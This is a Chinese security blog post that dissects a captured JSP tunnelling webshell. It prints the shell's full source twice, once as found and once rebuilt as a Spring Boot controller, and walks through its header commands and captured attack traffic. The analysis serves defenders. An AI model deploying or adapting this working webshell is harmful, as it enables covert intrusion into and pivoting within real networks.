第三天,你看着windowsConfig.jsp,config.jsp,心里想着,可算抓到你了,这回要把你全部,全部都属于我,可是,当你正兴高采烈逐步分析的时候,却发现,自己的数据库早已沦陷。。。
0x00 序言
第三天,你看着windowsConfig.jsp,config.jsp,心里想着,可算抓到你了,这回要把你全部,全部都属于我,可是,当你正兴高采烈逐步分析的时候,却发现,自己的数据早已沦陷。。。
0x01 windowsConfig.jsp分析
<%@page import="java.nio.ByteBuffer, java.nio.channels.SocketChannel, java.io.*, java.net.*, java.util.*" pageEncoding="UTF-8" trimDirectiveWhitespaces="true"%>
<%!
private static char[] en = "CE0XgUOIQFsw1tcy+H95alrukYfdznxZR8PJo2qbh4pe6/VDKijTL3v7BAmGMSNW".toCharArray();
public static String b64en(byte[] data) {
StringBuffer sb = new StringBuffer();
int len = data.length;
int i = 0;
int b1, b2, b3;
while (i < len) {
b1 = data[i++] & 0xff;
if (i == len) {
sb.append(en[b1 >>> 2]);
sb.append(en[(b1 & 0x3) << 4]);
sb.append("==");
break;
}
b2 = data[i++] & 0xff;
if (i == len) {
sb.append(en[b1 >>> 2]);
sb.append(en[((b1 & 0x03) << 4)
| ((b2 & 0xf0) >>> 4)]);
sb.append(en[(b2 & 0x0f) << 2]);
sb.append("=");
break;
}
b3 = data[i++] & 0xff;
sb.append(en[b1 >>> 2]);
sb.append(en[((b1 & 0x03) << 4)
| ((b2 & 0xf0) >>> 4)]);
sb.append(en[((b2 & 0x0f) << 2)
| ((b3 & 0xc0) >>> 6)]);
sb.append(en[b3 & 0x3f]);
}
return sb.toString();
}
private static byte[] de = new byte[] {-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,16,-1,-1,-1,45,2,12,37,53,41,19,44,55,33,18,-1,-1,-1,-1,-1,-1,-1,57,56,0,47,1,9,59,17,7,35,48,52,60,62,6,34,8,32,61,51,5,46,63,3,25,31,-1,-1,-1,-1,-1,-1,20,39,14,27,43,26,4,40,49,50,24,21,58,29,36,42,38,22,10,13,23,54,11,30,15,28,-1,-1,-1,-1,-1};
public static byte[] b64de(String str) {
byte[] data = str.getBytes();
int len = data.length;
ByteArrayOutputStream buf = new ByteArrayOutputStream(len);
int i = 0;
int b1, b2, b3, b4;
while (i < len) {
do {
b1 = de[data[i++]];
} while (i < len && b1 == -1);
if (b1 == -1) {
break;
}
do {
b2 = de[data[i++]];
} while (i < len && b2 == -1);
if (b2 == -1) {
break;
}
buf.write((int) ((b1 << 2) | ((b2 & 0x30) >>> 4)));
do {
b3 = data[i++];
if (b3 == 61) {
return buf.toByteArray();
}
b3 = de[b3];
} while (i < len && b3 == -1);
if (b3 == -1) {
break;
}
buf.write((int) (((b2 & 0x0f) << 4) | ((b3 & 0x3c) >>> 2)));
do {
b4 = data[i++];
if (b4 == 61) {
return buf.toByteArray();
}
b4 = de[b4];
} while (i < len && b4 == -1);
if (b4 == -1) {
break;
}
buf.write((int) (((b3 & 0x03) << 6) | b4));
}
return buf.toByteArray();
}
static String headerkey(String str) throws Exception {
String out = "";
for (String block: str.split("-")) {
out += block.substring(0, 1).toUpperCase() + block.substring(1);
out += "-";
}
return out.substring(0, out.length() - 1);
}
boolean islocal(String url) throws Exception {
String ip = (new URL(url)).getHost();
Enumeration<NetworkInterface> nifs = NetworkInterface.getNetworkInterfaces();
while (nifs.hasMoreElements()) {
NetworkInterface nif = nifs.nextElement();
Enumeration<InetAddress> addresses = nif.getInetAddresses();
while (addresses.hasMoreElements()) {
InetAddress addr = addresses.nextElement();
if (addr instanceof Inet4Address)
if (addr.getHostAddress().equals(ip))
return true;
}
}
return false;
}
%>
//上面是定义的函数之类
//下面是我们的代码
<%
String rUrl = request.getHeader("Mueytrthxaatjpsb");
if (rUrl != null) {
rUrl = new String(b64de(rUrl));
if (!islocal(rUrl)){
response.reset();
String method = request.getMethod();
URL u = new URL(rUrl);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setRequestMethod(method);
conn.setDoOutput(true);
// conn.setConnectTimeout(200);
// conn.setReadTimeout(200);
Enumeration enu = request.getHeaderNames();
List<String> keys = Collections.list(enu);
Collections.reverse(keys);
for (String key : keys){
if (!key.equalsIgnoreCase("Mueytrthxaatjpsb")){
String value=request.getHeader(key);
conn.setRequestProperty(headerkey(key), value);
}
}
int i;
byte[] buffer = new byte[1024];
if (request.getContentLength() != -1){
OutputStream output;
try{
output = conn.getOutputStream();
}catch(Exception e){
response.setHeader("Die", "C23vc07BCOdIsUHAmDM4nNP01x7zR4uKsWbBrOV");
return;
}
ServletInputStream inputStream = request.getInputStream();
while ((i = inputStream.read(buffer)) != -1) {
output.write(buffer, 0, i);
}
output.flush();
output.close();
}
for (String key : conn.getHeaderFields().keySet()) {
if (key != null && !key.equalsIgnoreCase("Content-Length") && !key.equalsIgnoreCase("Transfer-Encoding")){
String value = conn.getHeaderField(key);
response.setHeader(key, value);
}
}
InputStream hin;
if (conn.getResponseCode() < HttpURLConnection.HTTP_BAD_REQUEST) {
hin = conn.getInputStream();
} else {
hin = conn.getErrorStream();
if (hin == null){
response.setStatus(200);
return;
}
}
ByteArrayOutputStream baos = new ByteArrayOutputStream();
while ((i = hin.read(buffer)) != -1) {
byte[] data = new byte[i];
System.arraycopy(buffer, 0, data, 0, i);
baos.write(data);
}
String responseBody = new String(baos.toByteArray());
response.addHeader("Content-Length", Integer.toString(responseBody.length()));
response.setStatus(conn.getResponseCode());
out.write(responseBody);
out.flush();
if ( true ) return; // exit
}
}
response.resetBuffer();
response.setStatus(200);
String cmd = request.getHeader("Ffydhndmhhl");
if (cmd != null) {
String mark = cmd.substring(0,22);
cmd = cmd.substring(22);
response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
if (cmd.compareTo("b5v9XJbF") == 0) {
try {
String[] target_ary = new String(b64de(request.getHeader("Nnpo"))).split("\\|");
String target = target_ary[0];
int port = Integer.parseInt(target_ary[1]);
SocketChannel socketChannel = SocketChannel.open();
socketChannel.connect(new InetSocketAddress(target, port));
socketChannel.configureBlocking(false);
application.setAttribute(mark, socketChannel);
response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
} catch (Exception e) {
response.setHeader("Die", "k4MBX7QElVQzrmOdkml_G3pnYz55EFZPIwTO");
response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
}
} else if (cmd.compareTo("0FX") == 0) {
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
try{
socketChannel.socket().close();
} catch (Exception e) {
}
application.removeAttribute(mark);
} else if (cmd.compareTo("TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql") == 0){
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
try{
ByteBuffer buf = ByteBuffer.allocate(513);
int bytesRead = socketChannel.read(buf);
int maxRead = 524288;
int readLen = 0;
while (bytesRead > 0){
byte[] data = new byte[bytesRead];
System.arraycopy(buf.array(), 0, data, 0, bytesRead);
out.write(b64en(data));
out.flush();
((java.nio.Buffer)buf).clear();
readLen += bytesRead;
if (bytesRead < 513 || readLen >= maxRead)
break;
bytesRead = socketChannel.read(buf);
}
response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
} catch (Exception e) {
response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
}
} else if (cmd.compareTo("CtWP7tBSKiDnysT9hP9pa") == 0){
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
try {
String inputData = "";
InputStream in = request.getInputStream();
while ( true ){
byte[] buff = new byte[in.available()];
if (in.read(buff) == -1)
break;
inputData += new String(buff);
}
byte[] base64 = b64de(inputData);
ByteBuffer buf = ByteBuffer.allocate(base64.length);
buf.put(base64);
buf.flip();
while(buf.hasRemaining())
socketChannel.write(buf);
response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
} catch (Exception e) {
response.setHeader("Die", "QmPrA86mT15");
response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
socketChannel.socket().close();
}
}
} else {
out.write("<!-- HdgznEy73Ghv4jiuh5s83czHnFBYBpOdRVE4qyMTNktshD7xIS9S09PrPNH -->");
}
%>
1.1 方法分析
这个马子也是比较精妙的,将一些数据,藏在报文头部,总而言之,整个马,将模仿数据,模仿业务贯穿始终。
b64en
很好理解,本身是一个base64的加密
b64de
则是一个解密
当然,base的表是自己独立的表,也就是所谓的换表加密。
headerkey
static String headerkey(String str) throws Exception {
String out = "";
for (String block: str.split("-")) {
out += block.substring(0, 1).toUpperCase() + block.substring(1);
out += "-";
}
return out.substring(0, out.length() - 1);
}
根据测试,他将首字母变为大写
islocal
是用了java的网络编程,去判断
boolean islocal(String url) throws Exception {
String ip = (new URL(url)).getHost();
// 获得本机的所有网络接口
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
while (nifs.hasMoreElements()) {
NetworkInterface nif = nifs.nextElement();
// 获得与该网络接口绑定的 IP 地址,一般只有一个
Enumeration addresses = nif.getInetAddresses();
while (addresses.hasMoreElements()) {
InetAddress addr = addresses.nextElement();
// 只关心 IPv4 地址
if (addr instanceof Inet4Address)
if (addr.getHostAddress().equals(ip))//获取客户端ip,判断是否为代理
return true;
}
}
return false;
}
1.2 内容分析
<%
String rUrl = request.getHeader("Mueytrthxaatjpsb");
//获取头部,Mueytrthxaatjpsb 貌似是随机生成的
if (rUrl != null) {
//存在的时候,直接base解码
rUrl = new String(b64de(rUrl));
if (!islocal(rUrl)){
response.reset();
String method = request.getMethod();
//发送http的一个连接请求,
URL u = new URL(rUrl);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setRequestMethod(method);
conn.setDoOutput(true);
// conn.setConnectTimeout(200);
// conn.setReadTimeout(200);
//获取全部头信息
Enumeration enu = request.getHeaderNames();
List<String> keys = Collections.list(enu);
//对list进行反转。1,6,2,10 变为 10,2,6,1
Collections.reverse(keys);
for (String key : keys){
//不考虑大小写进行比较
if (!key.equalsIgnoreCase("Mueytrthxaatjpsb")){
String value=request.getHeader(key);
conn.setRequestProperty(headerkey(key), value);
}
}
//requestContentLength 获取请求的 body 长度,也就相当于访问到
int i;
byte[] buffer = new byte[1024];
if (request.getContentLength() != -1){
OutputStream output;
try{
output = conn.getOutputStream();
}catch(Exception e){
//在返回头中设置 Die:C23vc07BCOdIsUHAmDM4nNP01x7zR4uKsWbBrOV
response.setHeader("Die", "C23vc07BCOdIsUHAmDM4nNP01x7zR4uKsWbBrOV");
return;
}
ServletInputStream inputStream = request.getInputStream();
while ((i = inputStream.read(buffer)) != -1) {
output.write(buffer, 0, i);
}
output.flush();
output.close();
}
for (String key : conn.getHeaderFields().keySet()) {
if (key != null && !key.equalsIgnoreCase("Content-Length") && !key.equalsIgnoreCase("Transfer-Encoding")){
String value = conn.getHeaderField(key);
response.setHeader(key, value);
}
}
InputStream hin;
if (conn.getResponseCode() < HttpURLConnection.HTTP_BAD_REQUEST) {
hin = conn.getInputStream();
} else {
hin = conn.getErrorStream();
if (hin == null){
response.setStatus(200);
return;
}
}
ByteArrayOutputStream baos = new ByteArrayOutputStream();
while ((i = hin.read(buffer)) != -1) {
byte[] data = new byte[i];
System.arraycopy(buffer, 0, data, 0, i);
baos.write(data);
}
//让content-length 对返回长度进行输出
String responseBody = new String(baos.toByteArray());
response.addHeader("Content-Length", Integer.toString(responseBody.length()));
response.setStatus(conn.getResponseCode());
out.write(responseBody);
out.flush();
if ( true ) return; // exit
}
}
response.resetBuffer();
response.setStatus(200);
//cmd 为我们从header中获取的Ffydhndmhhl参数
String cmd = request.getHeader("Ffydhndmhhl");
if (cmd != null) {
//从开始到22个字符串,定义为mark
String mark = cmd.substring(0,22);
//去掉前面的22个字符串,定义为cmd
cmd = cmd.substring(22);
//response 设置头部 Sbxspawzq,值为CapFLueBCn2ZM
response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
//如果我们的cmd 等于b5v9XJbF ,就会进入if中
if (cmd.compareTo("b5v9XJbF") == 0) {
try {
//target的数组就等于 请求中Nopo的值,然后把Nopo的值进行basede解码,并通过| 竖杠,进行分割
String[] target_ary = new String(b64de(request.getHeader("Nnpo"))).split("\\|");
//target 就是我们target数组的第0个
String target = target_ary[0];
//端口是target的第1个参数
int port = Integer.parseInt(target_ary[1]);
SocketChannel socketChannel = SocketChannel.open();
socketChannel.connect(new InetSocketAddress(target, port));
socketChannel.configureBlocking(false);
//存储到整个应用程序的生命周期之中
application.setAttribute(mark, socketChannel);
//设置返回的Sbxspawzq CapFLueBCn2ZM header和值
response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
} catch (Exception e) {
//如果在socketCHannel建立的过程中报错了,那就会回显如下的值
response.setHeader("Die", "k4MBX7QElVQzrmOdkml_G3pnYz55EFZPIwTO");
response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
}
}//如果cmd等于0FX
else if (cmd.compareTo("0FX") == 0) {
//获取我们存储在application中的socketChannel
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
//关闭我们打开的socketChannel
try{
socketChannel.socket().close();
} catch (Exception e) {
}
//删除我们的application中存储的值
application.removeAttribute(mark);
} //如果我们的cmd 等于 TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql
else if (cmd.compareTo("TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql") == 0){
//如上
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
//从socketChannel中读取数据
//分配了Buffer。从SocketChannel读取到的数据会放到这个Buffer中。
然后,调用SocketChannel.read(buf)。该方法将数据从SocketChannel 读到Buffer中。
read(buf)方法返回的int值,他会表示读了多少字节进Buffer里。
try{
ByteBuffer buf = ByteBuffer.allocate(513);
int bytesRead = socketChannel.read(buf);
int maxRead = 524288;
int readLen = 0;
while (bytesRead > 0){
byte[] data = new byte[bytesRead];
//system.arraycopy多字节的一个数组复制
System.arraycopy(buf.array(), 0, data, 0, bytesRead);
//输出,讲我们的data进行加密
out.write(b64en(data));
out.flush();
((java.nio.Buffer)buf).clear();
readLen += bytesRead;
if (bytesRead < 513 || readLen >= maxRead)
break;
bytesRead = socketChannel.read(buf);
}
//返回头部设置Sbxspawzq :CapFLueBCn2ZM
response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
} catch (Exception e) {
//如果读取失败的话,会返回如下
response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
}
//如果cmd等于CtWP7tBSKiDnysT9hP9pa
} else if (cmd.compareTo("CtWP7tBSKiDnysT9hP9pa") == 0){
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
try {
String inputData = "";
InputStream in = request.getInputStream();
while ( true ){
//另类的开buff的方式
byte[] buff = new byte[in.available()];
if (in.read(buff) == -1)
break;
inputData += new String(buff);
}
//针对输入的data进行basede解密
byte[] base64 = b64de(inputData);
//bytebuffer的创建
//这种方法的buf缓冲区存储在堆内存中,内存开销在JVM中,受GC影响,会多拷贝一次,因为java程序收到的数据首先被系统内存所获取,然后再拷贝给JVM
ByteBuffer buf = ByteBuffer.allocate(base64.length);
buf.put(base64);
//flip是非常重要的一个函数,将Buffer从写模式切换到读模式(必须调用这个方法),他就用来切换buffer读写模式的一个函数
buf.flip();
//往SocketChannel写数据
while(buf.hasRemaining())
socketChannel.write(buf);
response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
} catch (Exception e) {
response.setHeader("Die", "QmPrA86mT15");
response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
socketChannel.socket().close();
}
}
} else {
out.write("<!-- HdgznEy73Ghv4jiuh5s83czHnFBYBpOdRVE4qyMTNktshD7xIS9S09PrPNH -->");
}
%>
这一部分是NIO-08 java SocketChannel
SocketChannel 是连接到 TCP 网络套接字的 Channel,相当于 Java 网络编程中的 Socket。有两种创建 SocketChannel 的方式:
//前两行是开启一个socketChannel
SocketChannel socketChannel = SocketChannel.open();
socketChannel.connect(new InetSocketAddress(target, port));
//将SocketChannel设置为非阻塞的
socketChannel.configureBlocking(false);
我们首先做一些前置工作
0x02 Springboot环境搭建
先附上代码
package com.example.windowsconfig.Controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletInputStream;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.*;
import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel;
import java.nio.charset.StandardCharsets;
import java.util.Collections;
import java.util.Enumeration;
import java.util.List;
@Controller
public class controller {
private static char[] en = "CE0XgUOIQFsw1tcy+H95alrukYfdznxZR8PJo2qbh4pe6/VDKijTL3v7BAmGMSNW".toCharArray();
public static String b64en(byte[] data) {
StringBuffer sb = new StringBuffer();
int len = data.length;
int i = 0;
int b1, b2, b3;
while (i < len) {
b1 = data[i++] & 0xff;
if (i == len) {
sb.append(en[b1 >>> 2]);
sb.append(en[(b1 & 0x3) << 4]);
sb.append("==");
break;
}
b2 = data[i++] & 0xff;
if (i == len) {
sb.append(en[b1 >>> 2]);
sb.append(en[((b1 & 0x03) << 4)
| ((b2 & 0xf0) >>> 4)]);
sb.append(en[(b2 & 0x0f) << 2]);
sb.append("=");
break;
}
b3 = data[i++] & 0xff;
sb.append(en[b1 >>> 2]);
sb.append(en[((b1 & 0x03) << 4)
| ((b2 & 0xf0) >>> 4)]);
sb.append(en[((b2 & 0x0f) << 2)
| ((b3 & 0xc0) >>> 6)]);
sb.append(en[b3 & 0x3f]);
}
return sb.toString();
}
private static byte[] de = new byte[] {-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,16,-1,-1,-1,45,2,12,37,53,41,19,44,55,33,18,-1,-1,-1,-1,-1,-1,-1,57,56,0,47,1,9,59,17,7,35,48,52,60,62,6,34,8,32,61,51,5,46,63,3,25,31,-1,-1,-1,-1,-1,-1,20,39,14,27,43,26,4,40,49,50,24,21,58,29,36,42,38,22,10,13,23,54,11,30,15,28,-1,-1,-1,-1,-1};
public static byte[] b64de(String str) {
byte[] data = str.getBytes();
int len = data.length;
ByteArrayOutputStream buf = new ByteArrayOutputStream(len);
int i = 0;
int b1, b2, b3, b4;
while (i < len) {
do {
b1 = de[data[i++]];
} while (i < len && b1 == -1);
if (b1 == -1) {
break;
}
do {
b2 = de[data[i++]];
} while (i < len && b2 == -1);
if (b2 == -1) {
break;
}
buf.write((int) ((b1 << 2) | ((b2 & 0x30) >>> 4)));
do {
b3 = data[i++];
if (b3 == 61) {
return buf.toByteArray();
}
b3 = de[b3];
} while (i < len && b3 == -1);
if (b3 == -1) {
break;
}
buf.write((int) (((b2 & 0x0f) << 4) | ((b3 & 0x3c) >>> 2)));
do {
b4 = data[i++];
if (b4 == 61) {
return buf.toByteArray();
}
b4 = de[b4];
} while (i < len && b4 == -1);
if (b4 == -1) {
break;
}
buf.write((int) (((b3 & 0x03) << 6) | b4));
}
return buf.toByteArray();
}
static String headerkey(String str) throws Exception {
String out = "";
for (String block: str.split("-")) {
out += block.substring(0, 1).toUpperCase() + block.substring(1);
out += "-";
}
return out.substring(0, out.length() - 1);
}
boolean islocal(String url) throws Exception {
String ip = (new URL(url)).getHost();
Enumeration<NetworkInterface> nifs = NetworkInterface.getNetworkInterfaces();
while (nifs.hasMoreElements()) {
NetworkInterface nif = nifs.nextElement();
Enumeration<InetAddress> addresses = nif.getInetAddresses();
while (addresses.hasMoreElements()) {
InetAddress addr = addresses.nextElement();
if (addr instanceof Inet4Address)
if (addr.getHostAddress().equals(ip))
return true;
}
}
return false;
}
@RequestMapping("/windowsConfig")
public void windows(HttpServletRequest request, HttpServletResponse response) throws Exception {
ServletOutputStream out = response.getOutputStream();
ServletContext application = request.getSession().getServletContext();
String rUrl = request.getHeader("Mueytrthxaatjpsb");
if (rUrl != null) {
rUrl = new String(b64de(rUrl));
if (!islocal(rUrl)){
response.reset();
String method = request.getMethod();
URL u = new URL(rUrl);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setRequestMethod(method);
conn.setDoOutput(true);
// conn.setConnectTimeout(200);
// conn.setReadTimeout(200);
Enumeration enu = request.getHeaderNames();
List<String> keys = Collections.list(enu);
Collections.reverse(keys);
for (String key : keys){
if (!key.equalsIgnoreCase("Mueytrthxaatjpsb")){
String value=request.getHeader(key);
conn.setRequestProperty(headerkey(key), value);
}
}
int i;
byte[] buffer = new byte[1024];
if (request.getContentLength() != -1){
OutputStream output;
try{
output = conn.getOutputStream();
}catch(Exception e){
response.setHeader("Die", "C23vc07BCOdIsUHAmDM4nNP01x7zR4uKsWbBrOV");
return;
}
ServletInputStream inputStream = request.getInputStream();
while ((i = inputStream.read(buffer)) != -1) {
output.write(buffer, 0, i);
}
output.flush();
output.close();
}
for (String key : conn.getHeaderFields().keySet()) {
if (key != null && !key.equalsIgnoreCase("Content-Length") && !key.equalsIgnoreCase("Transfer-Encoding")){
String value = conn.getHeaderField(key);
response.setHeader(key, value);
}
}
InputStream hin;
if (conn.getResponseCode() < HttpURLConnection.HTTP_BAD_REQUEST) {
hin = conn.getInputStream();
} else {
hin = conn.getErrorStream();
if (hin == null){
response.setStatus(200);
return;
}
}
ByteArrayOutputStream baos = new ByteArrayOutputStream();
while ((i = hin.read(buffer)) != -1) {
byte[] data = new byte[i];
System.arraycopy(buffer, 0, data, 0, i);
baos.write(data);
}
String responseBody = new String(baos.toByteArray());
response.addHeader("Content-Length", Integer.toString(responseBody.length()));
response.setStatus(conn.getResponseCode());
out.write(responseBody.getBytes(StandardCharsets.UTF_8));
out.flush();
if ( true ) return; // exit
}
}
response.resetBuffer();
response.setStatus(200);
String cmd = request.getHeader("Ffydhndmhhl");
if (cmd != null) {
String mark = cmd.substring(0,22);
cmd = cmd.substring(22);
response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
if (cmd.compareTo("b5v9XJbF") == 0) {
try {
String[] target_ary = new String(b64de(request.getHeader("Nnpo"))).split("\\|");
String target = target_ary[0];
int port = Integer.parseInt(target_ary[1]);
SocketChannel socketChannel = SocketChannel.open();
socketChannel.connect(new InetSocketAddress(target, port));
socketChannel.configureBlocking(false);
application.setAttribute(mark, socketChannel);
response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
} catch (Exception e) {
response.setHeader("Die", "k4MBX7QElVQzrmOdkml_G3pnYz55EFZPIwTO");
response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
}
} else if (cmd.compareTo("0FX") == 0) {
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
try{
socketChannel.socket().close();
} catch (Exception e) {
}
application.removeAttribute(mark);
} else if (cmd.compareTo("TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql") == 0){
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
try{
ByteBuffer buf = ByteBuffer.allocate(513);
int bytesRead = socketChannel.read(buf);
int maxRead = 524288;
int readLen = 0;
while (bytesRead > 0){
byte[] data = new byte[bytesRead];
System.arraycopy(buf.array(), 0, data, 0, bytesRead);
out.write(b64en(data).getBytes(StandardCharsets.UTF_8));
out.flush();
((java.nio.Buffer)buf).clear();
readLen += bytesRead;
if (bytesRead < 513 || readLen >= maxRead)
break;
bytesRead = socketChannel.read(buf);
}
response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
} catch (Exception e) {
response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
}
} else if (cmd.compareTo("CtWP7tBSKiDnysT9hP9pa") == 0){
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
try {
String inputData = "";
InputStream in = request.getInputStream();
while ( true ){
byte[] buff = new byte[in.available()];
if (in.read(buff) == -1)
break;
inputData += new String(buff);
}
byte[] base64 = b64de(inputData);
ByteBuffer buf = ByteBuffer.allocate(base64.length);
buf.put(base64);
buf.flip();
while(buf.hasRemaining())
socketChannel.write(buf);
response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
} catch (Exception e) {
response.setHeader("Die", "QmPrA86mT15");
response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
socketChannel.socket().close();
}
}
} else {
out.write("<!-- HdgznEy73Ghv4jiuh5s83czHnFBYBpOdRVE4qyMTNktshD7xIS9S09PrPNH -->".getBytes(StandardCharsets.UTF_8));
}
}
}
主要增添的是两部分
ServletOutputStream out = response.getOutputStream();
ServletContext application = request.getSession().getServletContext();
一个是输出流,一个是application
同时针对所有的out流都进行getByte转换
当然,这个也是比较神奇的
为什么不会触发这个回显呢?
根据代码,我们可以分析到,因为有content-length 才会触发
正常测试没有问题
我们打开科来,尝试分析一下数据包
0x03 分析流量包
首先肯定是正常放问的一个流量
会回显
<!-- HdgznEy73Ghv4jiuh5s83czHnFBYBpOdRVE4qyMTNktshD7xIS9S09PrPNH -->
和我们推测的一致
GET /ncupload/windowsConfig.jsp HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Ffydhndmhhl: JXHbGv6CTBayDJp1IL4lHwb5v9XJbF
Nnpo: n7n7wqF8frH3wqtDduKB1C==
Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Sbxspawzq: G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa
Die: k4MBX7QElVQzrmOdkml_G3pnYz55EFZPIwTO
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 27 Jul 2022 10:17:13 GMT
他发送了Ffydhndmhhl
,Nnpo
头部
3.1 动态调试
我们解码看看,因为已经有环境了,我们直接动态调试
和我们之前的代码预测一致
JXHbGv6CTBayDJp1IL4lHw b5v9XJbF
被拆分为了
cmd : b5v9XJbF
mark : JXHbGv6CTBayDJp1IL4lHw
判断我们是b5v9xjbf之后
进入if
Nnpo解密发现其首先访问了www.baidu.com 进行测试,判断是否可以出外网
也就是说 b5v9XJbF 功能使用来判断是否通着的/也可以用来访问/连接其他
我们跟随流量继续访问
GET /ncupload/windowsConfig.jsp HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Ffydhndmhhl: lYUNaGnRS2eaUhe pfmcKQb5v9XJbF
Nnpo: 15CV15aAwJQTwJa3ZXg31Jg=
Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server
发现是针对10.159.23.55 1521 oracle端口进行连接,因为我本机并没有业务,理所当然的回显了die
流量中回显的是开放并连接
GET /windowsConfig HTTP/1.1
Host: 127.0.0.1:8080
Ffydhndmhhl: lYUNaGnRS2eaUhe pfmcKQTQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql
Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server
我们继续进行追溯
这次cmd进入了 TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql
这个功能
当然因为这个函数是用来读取socket中数据的,因此我们这里也是回显报错
int bytesRead = socketChannel.read(buf);
接下来换成post数据
POST /windowsConfig HTTP/1.1
Host: 127.0.0.1:8080
Ffydhndmhhl: lYUNaGnRS2eaUhe pfmcKQCtWP7tBSKiDnysT9hP9pa
Content-type: application/octet-stream
Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server
Content-Length: 224
CszCCCkCCCCCCCtvC+gEECgEC+gUC+gg9UHY9KgtXaUllg8Zlgl95a2c+aKEEKn3dq/Vd7nVCCgyXLUllg8ZaUFyH3FE5lSc5+glUaH0YrUvYuQR1JQW15MjQXMR5rU4dRCEXCiEllHQuL3E+L8F5oaEXKSgHltwlgS+w5nO+oB3aaKCC+RQ+lla9US+9a+EEC+i1J1LCCgQ0gUllg8ZaL2gC+gE1+C=
切分后进入这个函数
CtWP7tBSKiDnysT9hP9pa
应该就是读取我们的数据
我们将值转为hex输出出来看看
00a7000006000000000003760101010401010101050101044854594b010d0d415554485f5445524d494e414c010707756e6b6e6f776e00010f0f415554485f50524f4752414d5f4e4d011515444265617665722032323f313f32203f204d61696e00010c0c415554485f4d414348494e45010f0f4445534b544f502d3746424e35514c00010808415554485f5049440104043132333400010808415554485f5349440101013100
放入winhex打开
